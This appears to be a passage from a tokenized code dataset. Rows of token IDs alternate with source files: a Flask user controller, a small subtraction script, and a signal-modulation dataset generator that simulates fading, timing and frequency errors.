4706,
396,
2602,
313,
265,
278,
10452,
29897,
7292,
13,
4706,
1583,
29889,
3571,
29896,
353,
29871,
29900,
13,
4706,
1583,
29889,
3571,
29906,
353,
29871,
29906,
334,
5844,
29889,
1631,
13,
4706,
1583,
29889,
3571,
12375,
918,
353,
29871,
29896,
13,
13,
4706,
396,
4818,
322,
11855,
310,
278,
2602,
18403,
373,
278,
10452,
310,
278,
3646,
5120,
13,
4706,
1583,
29889,
5064,
353,
7442,
29889,
2378,
29898,
5182,
18457,
29889,
5064,
29897,
13,
4706,
1583,
29889,
13471,
353,
3646,
18457,
29889,
13471,
13,
13,
1678,
822,
6219,
29898,
1311,
29892,
10104,
1125,
13,
4706,
9995,
18772,
278,
3935,
4559,
964,
1023,
716,
6743,
29889,
13,
4706,
450,
937,
338,
6087,
4153,
297,
278,
3935,
4559,
29892,
322,
278,
1473,
338,
4133,
29889,
13,
4706,
960,
278,
3734,
10104,
338,
2307,
1539,
29892,
769,
3078,
338,
2309,
322,
6213,
338,
4133,
29889,
13,
13,
4706,
12662,
2699,
29901,
13,
9651,
10104,
29901,
278,
5054,
1127,
10104,
13,
4706,
16969,
29901,
13,
9651,
21029,
448,
278,
1473,
716,
4559,
13,
4706,
9995,
13,
4706,
396,
5821,
24368,
5034,
2602,
10104,
13,
4706,
565,
1583,
29889,
3571,
12375,
918,
529,
10104,
29901,
13,
9651,
3514,
29896,
353,
3509,
29889,
8552,
29898,
1311,
29897,
13,
9651,
3514,
29906,
353,
3509,
29889,
8552,
29898,
1311,
29897,
13,
9651,
3514,
29896,
29889,
3571,
12375,
918,
353,
3514,
29906,
29889,
3571,
12375,
918,
353,
29871,
29906,
334,
1583,
29889,
3571,
12375,
918,
13,
9651,
3514,
29896,
29889,
3571,
29906,
353,
3514,
29906,
29889,
3571,
29896,
353,
313,
1311,
29889,
3571,
29896,
718,
1583,
29889,
3571,
29906,
29897,
847,
29871,
29906,
13,
9651,
3514,
29896,
29889,
5504,
29918,
5064,
29918,
13471,
580,
13,
9651,
3514,
29906,
29889,
5504,
29918,
5064,
29918,
13471,
580,
13,
9651,
736,
518,
13445,
29896,
29892,
3514,
29906,
29962,
13,
4706,
565,
1583,
29889,
2312,
12375,
918,
529,
10104,
29901,
13,
9651,
3514,
29896,
353,
3509,
29889,
8552,
29898,
1311,
29897,
13,
9651,
3514,
29906,
353,
3509,
29889,
8552,
29898,
1311,
29897,
13,
9651,
3514,
29896,
29889,
2312,
12375,
918,
353,
3514,
29906,
29889,
2312,
12375,
918,
353,
29871,
29906,
334,
1583,
29889,
2312,
12375,
918,
13,
9651,
3514,
29896,
29889,
2312,
29906,
353,
3514,
29906,
29889,
2312,
29896,
353,
313,
1311,
29889,
2312,
29896,
718,
1583,
29889,
2312,
29906,
29897,
847,
29871,
29906,
13,
9651,
736,
518,
13445,
29896,
29892,
3514,
29906,
29962,
13,
4706,
736,
6213,
13,
13,
1678,
822,
2767,
29918,
5064,
29918,
13471,
29898,
1311,
1125,
13,
4706,
282,
29896,
353,
1583,
29889,
5182,
29889,
657,
29918,
3283,
29918,
271,
29918,
9917,
653,
29898,
1311,
29889,
3571,
29896,
29897,
13,
4706,
282,
29906,
353,
1583,
29889,
5182,
29889,
657,
29918,
3283,
29918,
271,
29918,
9917,
653,
29898,
1311,
29889,
3571,
29906,
29897,
13,
4706,
1583,
29889,
5064,
353,
313,
29886,
29896,
718,
282,
29906,
29897,
847,
29871,
29906,
13,
4706,
1583,
29889,
13471,
353,
1320,
29918,
29872,
27511,
29898,
29886,
29896,
29892,
282,
29906,
29897,
847,
29871,
29906,
13,
13,
1678,
822,
679,
8263,
294,
1821,
2792,
29898,
1311,
1125,
13,
4706,
926,
353,
1583,
29889,
5182,
29889,
657,
29918,
3283,
29918,
271,
29918,
9917,
653,
29898,
1311,
29889,
3571,
29896,
29897,
13,
4706,
3855,
353,
7442,
29889,
3298,
359,
29898,
29941,
29897,
13,
4706,
3855,
29961,
29900,
29901,
29906,
29962,
353,
926,
13,
4706,
3855,
29961,
29906,
29962,
353,
1583,
29889,
2312,
29896,
13,
4706,
736,
3855,
13,
13,
1678,
822,
6492,
29898,
1311,
1125,
13,
4706,
4853,
353,
14770,
29889,
29887,
1113,
580,
13,
4706,
8607,
353,
27927,
29898,
1311,
29889,
5064,
29892,
1583,
29889,
13471,
29892,
3700,
2780,
29922,
8516,
1919,
12864,
2780,
543,
12692,
613,
1196,
2103,
29922,
29896,
29892,
15595,
29922,
29900,
29889,
29906,
29897,
13,
4706,
4853,
29889,
1202,
29918,
5041,
29898,
16622,
29897,
13,
13,
13383,
13383,
13383,
2277,
13,
29937,
3685,
10335,
3829,
607,
8640,
599,
278,
1304,
11916,
13,
13383,
13383,
13383,
2277,
13,
1990,
3685,
10335,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1644,
414,
29892,
4771,
292,
20494,
1125,
13,
4706,
1583,
29889,
5182,
29879,
353,
518,
8667,
18457,
29898,
29883,
29892,
4771,
292,
20494,
29897,
363,
274,
297,
1644,
414,
29962,
13,
4706,
1583,
29889,
27736,
353,
5519,
17708,
29898,
29873,
4638,
363,
260,
297,
1583,
29889,
5182,
29879,
29962,
13,
13,
1678,
822,
2143,
457,
29918,
27736,
29898,
1311,
29892,
4629,
29892,
10104,
1125,
13,
4706,
9995,
5620,
457,
278,
409,
22742,
11916,
565,
278,
3734,
10104,
338,
451,
1539,
29889,
13,
13,
4706,
12662,
2699,
29901,
13,
9651,
269,
781,
287,
29901,
18111,
310,
278,
4629,
11916,
313,
8111,
29871,
29896,
921,
302,
29897,
13,
9651,
10104,
29901,
278,
5054,
1127,
10104,
13,
4706,
16969,
29901,
13,
9651,
7223,
448,
1565,
565,
738,
4559,
338,
2143,
1312,
13,
4706,
9995,
13,
4706,
302,
353,
7431,
29898,
1311,
29889,
27736,
29897,
13,
4706,
2143,
1312,
353,
7700,
13,
4706,
363,
474,
297,
3464,
29898,
29876,
1125,
13,
9651,
304,
29918,
5451,
353,
4629,
29961,
29875,
29962,
13,
9651,
269,
1160,
353,
1583,
29889,
27736,
29961,
29875,
3816,
517,
29918,
5451,
29962,
13,
9651,
620,
353,
269,
1160,
29889,
5451,
29898,
9778,
918,
29897,
13,
9651,
565,
451,
620,
338,
6213,
29901,
13,
18884,
1583,
29889,
27736,
29961,
29875,
3816,
517,
29918,
5451,
29962,
353,
620,
29961,
29900,
29962,
13,
18884,
1583,
29889,
27736,
29961,
29875,
1822,
4397,
29898,
690,
29961,
29896,
2314,
13,
18884,
2143,
1312,
353,
5852,
29871,
13,
4706,
736,
2143,
1312,
13,
13,
13383,
13383,
13383,
2277,
13,
29937,
450,
1667,
899,
369,
770,
13,
13383,
13383,
13383,
2277,
13,
1990,
402,
4571,
7024,
324,
369,
29901,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
14712,
29918,
13471,
29892,
14433,
29892,
4771,
292,
29918,
13471,
1125,
13,
4706,
1583,
29889,
685,
292,
29918,
13471,
353,
14712,
29918,
13471,
13,
4706,
1583,
29889,
23149,
292,
29918,
13471,
353,
4771,
292,
29918,
13471,
13,
4706,
1583,
29889,
1484,
1338,
353,
14433,
13,
4706,
1583,
29889,
13445,
10335,
353,
3685,
10335,
29898,
1484,
1338,
29892,
4771,
292,
29918,
13471,
29897,
13,
13,
4706,
1583,
29889,
13609,
29918,
2084,
353,
5159,
13,
4706,
1583,
29889,
21064,
29918,
2084,
353,
5159,
13,
13,
4706,
1583,
29889,
13609,
29918,
9917,
353,
29871,
29900,
13,
4706,
1583,
29889,
21064,
29918,
9917,
353,
5844,
29889,
7192,
13,
268,
13,
1678,
822,
6492,
29918,
1958,
29898,
1311,
1125,
13,
4706,
14770,
29889,
695,
29888,
580,
13,
4706,
14770,
29889,
8990,
877,
11745,
1495,
13,
4706,
6492,
29918,
9748,
29898,
1311,
29889,
1484,
1338,
29892,
525,
307,
1495,
13,
4706,
565,
1583,
29889,
23149,
292,
29918,
13471,
2804,
6213,
29901,
13,
9651,
363,
7306,
297,
1583,
29889,
1484,
1338,
29901,
13,
18884,
6492,
29918,
16622,
29898,
28111,
29892,
1583,
29889,
23149,
292,
29918,
13471,
29897,
13,
13,
1678,
822,
6492,
29918,
29873,
473,
29918,
392,
29918,
2457,
29918,
2848,
29898,
1311,
29892,
4629,
29918,
27736,
29892,
767,
12932,
369,
29918,
2220,
29892,
2927,
1125,
13,
4706,
23460,
353,
1583,
29889,
13445,
10335,
13,
4706,
302,
353,
7431,
29898,
1311,
29889,
13445,
10335,
29889,
27736,
29897,
13,
4706,
4331,
29918,
2311,
353,
29871,
29900,
29889,
29900,
29896,
334,
1583,
29889,
685,
292,
29918,
13471,
13,
4706,
3309,
353,
29871,
29900,
13,
4706,
363,
263,
297,
3464,
29898,
29900,
29892,
29876,
1125,
13,
9651,
330,
29896,
353,
23460,
29889,
27736,
29961,
29874,
3816,
8391,
29918,
27736,
29961,
29874,
5262,
13,
9651,
330,
29906,
353,
23460,
29889,
27736,
15625,
29874,
29974,
29896,
29897,
1273,
302,
3816,
8391,
29918,
27736,
15625,
29874,
29974,
29896,
29897,
1273,
302,
5262,
13,
13,
9651,
2224,
353,
767,
12932,
369,
29918,
2220,
29898,
29887,
29896,
29892,
330,
29906,
29892,
1583,
29889,
685,
292,
29918,
13471,
29897,
13,
9651,
3309,
4619,
2224,
29961,
29896,
29962,
13,
9651,
22920,
29892,
903,
353,
2224,
29961,
29900,
1822,
11249,
29918,
13011,
29898,
10568,
29918,
2311,
29897,
13,
9651,
565,
7604,
675,
29901,
13,
18884,
6492,
29918,
9748,
29898,
2917,
332,
800,
29892,
2927,
29897,
13,
4706,
736,
3309,
13,
13,
1678,
822,
6492,
29918,
19304,
29918,
392,
29918,
2457,
29918,
23687,
29898,
1311,
1125,
13,
4706,
9995,
20867,
278,
3935,
23460,
29892,
5224,
322,
7568,
3216,
2224,
13,
13,
4706,
16969,
29901,
13,
9651,
313,
8896,
29892,
3765,
29897,
448,
5224,
3216,
29892,
7568,
3216,
13,
4706,
9995,
13,
4706,
565,
7604,
675,
29901,
13,
9651,
1583,
29889,
5317,
29918,
1958,
580,
13,
13,
4706,
363,
269,
297,
1583,
29889,
13445,
10335,
29889,
27736,
29901,
13,
9651,
363,
17971,
297,
269,
29901,
13,
18884,
17971,
29889,
5317,
580,
13,
13,
4706,
5224,
29918,
8391,
29918,
27736,
353,
1583,
29889,
2886,
29918,
13609,
29918,
9917,
29918,
29873,
473,
580,
13,
4706,
7568,
29918,
8391,
29918,
27736,
353,
1583,
29889,
2886,
29918,
21064,
29918,
9917,
29918,
29873,
473,
580,
13,
13,
4706,
5224,
29918,
9917,
353,
1583,
29889,
5317,
29918,
29873,
473,
29918,
392,
29918,
2457,
29918,
2848,
29898,
13609,
29918,
8391,
29918,
27736,
29892,
5224,
2605,
29954,
4571,
29925,
29892,
525,
29878,
29899,
1495,
13,
4706,
7568,
29918,
9917,
353,
1583,
29889,
5317,
29918,
29873,
473,
29918,
392,
29918,
2457,
29918,
2848,
29898,
21064,
29918,
8391,
29918,
27736,
29892,
7568,
2605,
29954,
4571,
29925,
29892,
525,
29890,
29899,
1495,
13,
4706,
736,
313,
13609,
29918,
9917,
29892,
7568,
29918,
9917,
29897,
13,
268,
13,
1678,
822,
1284,
29918,
13609,
29918,
9917,
29918,
29873,
473,
29898,
1311,
1125,
13,
4706,
9995,
3549,
278,
11916,
607,
2755,
278,
3273,
342,
5224,
3216,
6282,
13,
13,
4706,
16969,
29901,
13,
9651,
18111,
310,
278,
11916,
313,
8111,
29871,
29896,
921,
302,
29897,
13,
4706,
9995,
13,
4706,
24610,
353,
10272,
29918,
5721,
2925,
29898,
1311,
29889,
13445,
10335,
29889,
27736,
29892,
5224,
2605,
29954,
4571,
29925,
29892,
14712,
29918,
13471,
353,
1583,
29889,
685,
292,
29918,
13471,
29897,
13,
4706,
4629,
29918,
27736,
353,
1284,
29918,
12759,
342,
29918,
29873,
473,
29898,
5721,
2925,
29897,
13,
4706,
736,
4629,
29918,
27736,
268,
13,
13,
1678,
822,
1284,
29918,
21064,
29918,
9917,
29918,
29873,
473,
29898,
1311,
1125,
13,
4706,
9995,
3549,
278,
11916,
607,
2755,
278,
3273,
342,
7568,
3216,
313,
1725,
294,
1821,
29897,
6282,
13,
13,
4706,
16969,
29901,
13,
9651,
18111,
310,
278,
11916,
313,
8111,
29871,
29896,
921,
302,
29897,
13,
4706,
9995,
13,
4706,
24610,
353,
10272,
29918,
5721,
2925,
29898,
1311,
29889,
13445,
10335,
29889,
27736,
29892,
7568,
2605,
29954,
4571,
29925,
29892,
14712,
29918,
13471,
353,
1583,
29889,
685,
292,
29918,
13471,
29897,
13,
4706,
4629,
29918,
27736,
353,
1284,
29918,
12759,
342,
29918,
29873,
473,
29898,
5721,
2925,
29897,
13,
4706,
736,
4629,
29918,
27736,
29871,
13,
13,
13,
13383,
13383,
13383,
2277,
13,
29937,
4241,
2425,
975,
4629,
21846,
13,
13383,
13383,
13383,
2277,
13,
1454,
10483,
297,
21846,
29901,
13,
1678,
396,
16012,
278,
1108,
322,
10483,
6055,
13,
1678,
10422,
353,
10483,
29961,
29900,
29962,
13,
1678,
14433,
353,
2254,
29918,
1958,
29898,
9507,
29897,
13,
1678,
14712,
29918,
13471,
353,
10483,
29961,
29896,
29962,
13,
1678,
4771,
292,
29918,
13471,
353,
10483,
29961,
29906,
29962,
13,
1678,
899,
369,
29918,
1853,
353,
10483,
29961,
29941,
29962,
13,
13,
1678,
396,
29873,
473,
18987,
760,
13,
1678,
899,
369,
353,
402,
4571,
7024,
324,
369,
29898,
685,
292,
29918,
13471,
29892,
14433,
29892,
4771,
292,
29918,
13471,
29897,
13,
1678,
899,
369,
29889,
5317,
29918,
19304,
29918,
392,
29918,
2457,
29918,
23687,
580,
13,
13,
1678,
1596,
14182,
29876,
5634,
11583,
29901,
6571,
29871,
9603,
292,
11855,
29901,
12365,
29953,
29889,
29906,
29888,
29913,
29871,
317,
575,
292,
11855,
29901,
12365,
29953,
29889,
29906,
29888,
29913,
29871,
11474,
29908,
13,
9651,
869,
4830,
29898,
9507,
29892,
14712,
29918,
13471,
29892,
4771,
292,
29918,
13471,
876,
13,
13,
1678,
565,
1510,
29901,
13,
4706,
14770,
29889,
29886,
1071,
29898,
29900,
29889,
29896,
29897,
13,
13,
1678,
4236,
29918,
9778,
918,
353,
29871,
29953,
29946,
13,
1678,
1044,
29918,
690,
353,
29871,
29946,
13,
1678,
1550,
1044,
29918,
690,
5277,
4236,
29918,
9778,
918,
29901,
13,
4706,
2143,
1312,
353,
5852,
13,
4706,
1550,
2143,
1312,
29901,
13,
9651,
4629,
29918,
27736,
353,
899,
369,
29889,
2886,
29918,
13609,
29918,
9917,
29918,
29873,
473,
580,
13,
9651,
2143,
1312,
353,
899,
369,
29889,
13445,
10335,
29889,
999,
457,
29918,
27736,
29898,
8391,
29918,
27736,
29892,
1044,
29918,
690,
29897,
13,
4706,
313,
13609,
29918,
9917,
29892,
7568,
29918,
9917,
29897,
353,
899,
369,
29889,
5317,
29918,
19304,
29918,
392,
29918,
2457,
29918,
23687,
580,
13,
4706,
17261,
353,
313,
21064,
29918,
9917,
448,
5224,
29918,
9917,
29897,
847,
7568,
29918,
9917,
334,
29871,
29896,
29900,
29900,
29889,
29900,
13,
4706,
1596,
703,
1666,
29901,
12365,
29946,
29881,
29913,
29871,
27723,
29901,
12365,
29953,
29889,
29906,
29888,
29913,
29871,
24929,
29901,
12365,
29953,
29889,
29906,
29888,
29913,
29871,
402,
481,
29414,
1125,
12365,
29953,
29889,
29906,
29888,
5038,
13,
9651,
869,
4830,
29898,
627,
29918,
690,
29892,
5224,
29918,
9917,
29892,
7568,
29918,
9917,
29892,
17261,
876,
13,
13,
4706,
565,
7604,
675,
29901,
13,
9651,
14770,
29889,
3257,
703,
7976,
12539,
10104,
29901,
12365,
29946,
29881,
29913,
1642,
4830,
29898,
627,
29918,
690,
876,
13,
4706,
565,
1510,
29901,
13,
9651,
14770,
29889,
29886,
1071,
29898,
29900,
29889,
29896,
29897,
13,
4706,
565,
4078,
29918,
1003,
1973,
29901,
13,
9651,
14770,
29889,
7620,
1003,
703,
8346,
29914,
29881,
509,
29886,
29899,
690,
29899,
25641,
29900,
29946,
29881,
1836,
2732,
1642,
4830,
29898,
627,
29918,
690,
876,
13,
308,
13,
4706,
1044,
29918,
690,
334,
29922,
29871,
29906,
13,
13,
1678,
565,
1510,
29901,
13,
4706,
14770,
29889,
29886,
1071,
29898,
29906,
29897,
13,
13,
2
] |
app/controllers/user_controller.py | ryannewman2828/Hack-the-North-2018-Backend-Challenge | 0 | 62517 | <filename>app/controllers/user_controller.py
from app.models.users import User
from app.models.skills import Skill
from flask import request
from flask_restful import Resource
from app.models.database import db_session
string_args = ["name", "picture", "company", "email", "phone", "country"]
float_args = ["latitude", "longitude"]
class UserController(Resource):
def get(self, user_id):
user = User.query.get(user_id)
if user is not None:
user = user.as_dict()
skills = Skill.query.filter(Skill.user_id == int(user_id)).all()
user['skills'] = map(lambda skill: skill.as_dict(), skills)
return {"user": user}, 200
return {"error": "User not Found"}, 404
def put(self, user_id):
user = User.query.get(user_id)
if user is not None:
args = request.get_json(silent=True)
for key, value in args.items():
if args[key] is not None:
if (key in string_args and isinstance(args[key], str)) or \
(key in float_args and isinstance(args[key], float)):
setattr(user, key, args[key])
db_session.commit()
return {"user": user.as_dict()}, 200
return {"error": "User not found"}, 404
| [
1,
529,
9507,
29958,
932,
29914,
1285,
11897,
29914,
1792,
29918,
8299,
29889,
2272,
13,
3166,
623,
29889,
9794,
29889,
7193,
1053,
4911,
13,
3166,
623,
29889,
9794,
29889,
808,
6090,
1053,
4971,
453,
13,
3166,
29784,
1053,
2009,
13,
3166,
29784,
29918,
5060,
1319,
1053,
18981,
13,
3166,
623,
29889,
9794,
29889,
9803,
1053,
4833,
29918,
7924,
13,
13,
1807,
29918,
5085,
353,
6796,
978,
613,
376,
12095,
613,
376,
14518,
613,
376,
5269,
613,
376,
6710,
613,
376,
13509,
3108,
13,
7411,
29918,
5085,
353,
6796,
5066,
4279,
613,
376,
5426,
4279,
3108,
13,
13,
13,
1990,
4911,
2956,
29898,
6848,
1125,
13,
1678,
822,
679,
29898,
1311,
29892,
1404,
29918,
333,
1125,
13,
4706,
1404,
353,
4911,
29889,
1972,
29889,
657,
29898,
1792,
29918,
333,
29897,
13,
4706,
565,
1404,
338,
451,
6213,
29901,
13,
9651,
1404,
353,
1404,
29889,
294,
29918,
8977,
580,
13,
9651,
25078,
353,
4971,
453,
29889,
1972,
29889,
4572,
29898,
15797,
453,
29889,
1792,
29918,
333,
1275,
938,
29898,
1792,
29918,
333,
8106,
497,
580,
13,
9651,
1404,
1839,
808,
6090,
2033,
353,
2910,
29898,
2892,
19911,
29901,
19911,
29889,
294,
29918,
8977,
3285,
25078,
29897,
13,
9651,
736,
8853,
1792,
1115,
1404,
1118,
29871,
29906,
29900,
29900,
13,
4706,
736,
8853,
2704,
1115,
376,
2659,
451,
7460,
10758,
29871,
29946,
29900,
29946,
13,
13,
1678,
822,
1925,
29898,
1311,
29892,
1404,
29918,
333,
1125,
13,
4706,
1404,
353,
4911,
29889,
1972,
29889,
657,
29898,
1792,
29918,
333,
29897,
13,
4706,
565,
1404,
338,
451,
6213,
29901,
13,
9651,
6389,
353,
2009,
29889,
657,
29918,
3126,
29898,
25590,
296,
29922,
5574,
29897,
13,
9651,
363,
1820,
29892,
995,
297,
6389,
29889,
7076,
7295,
13,
18884,
565,
6389,
29961,
1989,
29962,
338,
451,
6213,
29901,
13,
462,
1678,
565,
313,
1989,
297,
1347,
29918,
5085,
322,
338,
8758,
29898,
5085,
29961,
1989,
1402,
851,
876,
470,
320,
13,
462,
9651,
313,
1989,
297,
5785,
29918,
5085,
322,
338,
8758,
29898,
5085,
29961,
1989,
1402,
5785,
22164,
13,
462,
4706,
731,
5552,
29898,
1792,
29892,
1820,
29892,
6389,
29961,
1989,
2314,
13,
9651,
4833,
29918,
7924,
29889,
15060,
580,
13,
9651,
736,
8853,
1792,
1115,
1404,
29889,
294,
29918,
8977,
580,
1118,
29871,
29906,
29900,
29900,
13,
4706,
736,
8853,
2704,
1115,
376,
2659,
451,
1476,
10758,
29871,
29946,
29900,
29946,
13,
2
] |
Topic_2_statements/simpleSubtraction.py | Izardo/myWork | 0 | 153840 | # This program subtracts one number from another
# Author: <NAME>
first = int(input("Enter the first number:")) # requests input of integer from user
second = int(input("Enter the second number:")) # requests input of integer from user
# prints sum below
print(first - second) | [
1,
396,
910,
1824,
23197,
29879,
697,
1353,
515,
1790,
13,
29937,
13361,
29901,
529,
5813,
29958,
13,
13,
4102,
353,
938,
29898,
2080,
703,
10399,
278,
937,
1353,
29901,
5783,
259,
396,
7274,
1881,
310,
6043,
515,
1404,
13,
7496,
353,
938,
29898,
2080,
703,
10399,
278,
1473,
1353,
29901,
5783,
396,
7274,
1881,
310,
6043,
515,
1404,
13,
13,
29937,
14677,
2533,
2400,
13,
2158,
29898,
4102,
448,
1473,
29897,
2
] |
frm_dataset_creator2.py | uclacores/dual_path_network | 4 | 168739 | #from frm_generate_data_np import *
import numpy as np
from numpy import pi,sqrt
model_folder="models/freq_2019_07_02_2/"
from frm_modulations import mod_list,cont_phase_mod_list,linear_mod_const
# import tensorflow as tf
import datetime
import pickle
import sys
import copy
from frm_dataset_creator import *
from numba import jit
from frm_modulations_fast import modulate_symbols_fast,modulate_symbols
# In[199]:
def func(my_dict):
# print(my_dict)
return generate_dataset_sig2(**my_dict)
def generate_dataset_sig2_parallel(n_samples, pkt_size,max_sps,mod_list,sps_rng,pulse_ebw_list,timing_offset_rng,fading_spread_rng,freq_err_rng,phase_err_rng,snr_rng, complex_fading = False,freq_in_hz = False,
seed = None, fname = None, version = 1,nthreads = 10 ): #1e4
args_in = locals()
args_in.pop('nthreads',None)
rand_step =374861
args_list = []
for i in range(nthreads):
args_list.append(copy.deepcopy(args_in))
if args_in['seed'] is not None:
for indx,args in enumerate(args_list):
args['seed'] = args_in['seed'] + indx * rand_step
get_tmp_name = lambda base, indx : "{}_{}".format(base, indx)
# if fname is not None:
# base_name = fname
# else:
# base_name = 'tmp/dataset'
# base_name = '/tmp/dataset{}'.format(np.random.randint(0,1000000))
for indx,args in enumerate(args_list):
args['fname'] = None #get_tmp_name(base_name,indx)
args['n_samples'] = args_in['n_samples']//nthreads
p = Pool(nthreads)
datasets = p.map(func, args_list)
# with open(get_tmp_name(base_name,0),'rb') as f:
# dataset = pickle.load(f)
dataset_out = datasets[0]
for i in range(1,nthreads):
dataset_i = datasets[i]
for k1 in dataset_out.keys():
if isinstance(dataset_out[k1],dict):
for k2 in dataset_out[k1].keys():
# print(k1,k2)
if k1!='args' and k1!='time':
dataset_out[k1][k2] = np.append(dataset_out[k1][k2],dataset_i[k1][k2],axis = 0)
dataset_out['args'] = args_in
dataset_out['time'] = str(datetime.datetime.now())
if fname is not None:
with open(fname,'wb') as f:
pickle.dump(dataset_out,f)
return dataset_out
def generate_dataset_sig2(n_samples, pkt_size,max_sps,mod_list,sps_rng,pulse_ebw_list,timing_offset_rng,fading_spread_rng,freq_err_rng,phase_err_rng,snr_rng,complex_fading = False, freq_in_hz = False,
seed = None, fname = None, version = 1):
args = locals()
if seed is not None:
np.random.seed(seed)
comb_v = np.zeros((n_samples,pkt_size,2))
carrier_v = np.zeros((n_samples,pkt_size,2))
fading_v = np.zeros((n_samples,pkt_size,2))
clean_v = np.zeros((n_samples,pkt_size,2))
timing_v = np.zeros((n_samples,pkt_size,2))
raw_v = np.zeros((n_samples,pkt_size,2))
mod_v = np.zeros((n_samples,len(mod_list)))
if not complex_fading:
coeff = np.zeros((n_samples,6))
else:
coeff = np.zeros((n_samples,6),dtype='complex')
mod_index = np.random.choice(len(mod_list),(n_samples,)).astype(np.int_)
mod_v[range(n_samples),mod_index] = 1
sps = np.random.uniform(sps_rng[0],sps_rng[1],(n_samples,))
pulse_ebw = np.random.choice(pulse_ebw_list,(n_samples,))
timing_offset = np.random.uniform(timing_offset_rng[0],timing_offset_rng[1],(n_samples,))
fading_spread = np.random.uniform(fading_spread_rng[0],fading_spread_rng[1],(n_samples,))
freq_err = np.random.uniform(freq_err_rng[0],freq_err_rng[1],(n_samples,))
phase_err = np.random.uniform(phase_err_rng[0],phase_err_rng[1],(n_samples,))
if np.array(snr_rng).size==2:
snr = np.random.uniform(snr_rng[0],snr_rng[1],(n_samples,))
else:
snr = np.random.choice(snr_rng,(n_samples,))
progress_step = 1000
a = datetime.datetime.now()
strt_time = copy.deepcopy(a)
for samp_indx in range(n_samples):
mod = mod_list[mod_index[samp_indx]]
op = create_sample_fast( mod = mod,pkt_len = pkt_size,sps=sps[samp_indx],pulse_ebw = pulse_ebw[samp_indx],
timing_offset = timing_offset[samp_indx],
fading_spread = fading_spread[samp_indx],
freq_err = freq_err[samp_indx], phase_err =phase_err[samp_indx],
snr = snr[samp_indx], max_sps = max_sps, complex_fading = complex_fading, freq_in_hz = freq_in_hz,
seed = None)
mod_v[:,0] = 1
comb_v[samp_indx] ,carrier_v[samp_indx],fading_v[samp_indx],clean_v[samp_indx],timing_v[samp_indx],raw_v[samp_indx],coeff[samp_indx] = op
if samp_indx%progress_step == 0 and samp_indx>0:
b = datetime.datetime.now()
diff_time = b-a
# the exact output you're looking for:
sys.stdout.write("\rGenerated {} out of {} ({:.1f}%), Elapsed {} , estimated {}".format(samp_indx,n_samples, float(samp_indx)/n_samples*100, b-strt_time , (n_samples-samp_indx)*diff_time /progress_step ))
sys.stdout.flush()
a = copy.deepcopy(b)
op ={'sig':{},'params':{},'data':{}}
op['sig']['comb'] = comb_v
op['sig']['timing_fading_carrier'] = carrier_v
op['sig']['timing_fading'] = fading_v
op['sig']['timing'] = clean_v
op['params']['mod'] = mod_index
op['params']['fading_spread'] = fading_spread
op['params']['fading_taps'] = coeff
op['params']['freq_off'] = freq_err
op['params']['phase_off'] = phase_err
op['params']['timing_off'] = timing_offset
op['params']['symb_rate'] = sps
op['data']['binary_marking'] = timing_v
op['params']['sps'] = sps
op['params']['pulse_ebw'] = pulse_ebw
op['sig']['timing_raw_unique'] = raw_v
op['params']['snr'] = snr
op['args'] = args
op['time'] = str(datetime.datetime.now())
op['version'] = version
if fname is not None:
with open(fname,'wb') as f:
pickle.dump(op,f)
return op
def create_sample( mod = 'bpsk',pkt_len = 128,sps=8,pulse_ebw = 0.35,
timing_offset = 0.5,
fading_spread = 1,
freq_err = 0.0001, phase_err = np.pi,
snr = 10, max_sps = 128, complex_fading = False, freq_in_hz = False,
seed = None):
samp_rate = 1
if seed is not None:
np.random.seed(seed)
if mod in cont_phase_mod_list:
order = 2
else: # Linear modulation
order = linear_mod_const[mod].size
n_symbols = int( (pkt_len)/(sps*0.5)) + 2
data_symbs=np.random.randint(0,order,n_symbols)
mag = timing_offset
timing_offset = calc_timing_offset(mag, max_sps)
timing_step = int(max_sps/sps)
mod_symbs_max_sps=modulate_symbols(data_symbs,mod,max_sps,ebw = pulse_ebw)
data_symbs_max_sps= np.repeat(data_symbs,max_sps)
t_max_sps= np.arange(0,1.0*max_sps*n_symbols/samp_rate,1.0/samp_rate)
transition_data_ideal = np.array(([1,]*max_sps + [0,]*max_sps) * int(n_symbols/2+1))
mod_symbs_timing_err = simulate_timing_error(mod_symbs_max_sps,timing_offset,timing_step, pkt_len)
data_symbs_timing_err = simulate_timing_error(data_symbs_max_sps,timing_offset,timing_step, pkt_len)
mod_raw_symbs_timing_err = modulate_symbols(data_symbs_timing_err,mod,sps = 1, ebw = None, pulse_shape = None)
t_timing_err = simulate_timing_error(t_max_sps,timing_offset,timing_step, pkt_len)
marking_b_timing = simulate_timing_error(transition_data_ideal,timing_offset,timing_step, pkt_len)
transition_data_timing = simulate_timing_error(transition_data_ideal,timing_offset,timing_step, pkt_len+1)
transition_data_timing = np.abs(np.diff(transition_data_timing)).astype('int')
mod_raw_unique_symbs_timing_err = mod_raw_symbs_timing_err*transition_data_timing
mod_raw_unique_symbs_timing_err[transition_data_timing==0]=np.nan+1j*np.nan
if not complex_fading:
coeff = generate_fading_taps(max_sps / timing_step, fading_spread)
mod_symbs_timing_fading = simulate_fading_channel(mod_symbs_timing_err, coeff)
else:
coeff=generate_complex_fading_taps(max_sps / timing_step, fading_spread)
mod_symbs_timing_fading = simulate_fading_channel_complex(mod_symbs_timing_err, coeff)
if not freq_in_hz:
t_freq = t_timing_err
else:
t_freq = np.arange(t_timing_err.size)
mod_symbs_timing_fading_freq_err = simulate_frequency_error(mod_symbs_timing_fading,t_freq,freq_err,phase_err)
carrier_timing_err = simulate_frequency_error(1.0,t_freq,freq_err,phase_err)
mod_symbs_timing_fading_freq_noise = add_noise(mod_symbs_timing_fading_freq_err,snr)
op = mod_symbs_timing_fading_freq_noise
comb = assign_iq2(mod_symbs_timing_fading_freq_noise)
carrier = assign_iq2(mod_symbs_timing_fading_freq_err)
fading = assign_iq2(mod_symbs_timing_fading)
clean = assign_iq2(mod_symbs_timing_err)#assign_iq2(mod_symbs_max_sps)#
timing = np.zeros((pkt_len,2))
timing[range(pkt_len),marking_b_timing] = 1
raw = assign_iq2(mod_raw_unique_symbs_timing_err)
return (comb ,carrier,fading,clean,timing,raw,coeff)
@jit(nopython=True)
def create_marking(max_sps,timing_step,timing_offset,pkt_len):
x = np.zeros(pkt_len+1,dtype=np.int_)
timing_offset = int(timing_offset)
indx = int(timing_offset)
state = True
prev_max_sps = indx% max_sps
for i in range(0,x.size):
x[i] = state
indx = indx +timing_step
cur_max_sps = indx%max_sps
if cur_max_sps<prev_max_sps:
state = not state
prev_max_sps = cur_max_sps
return x
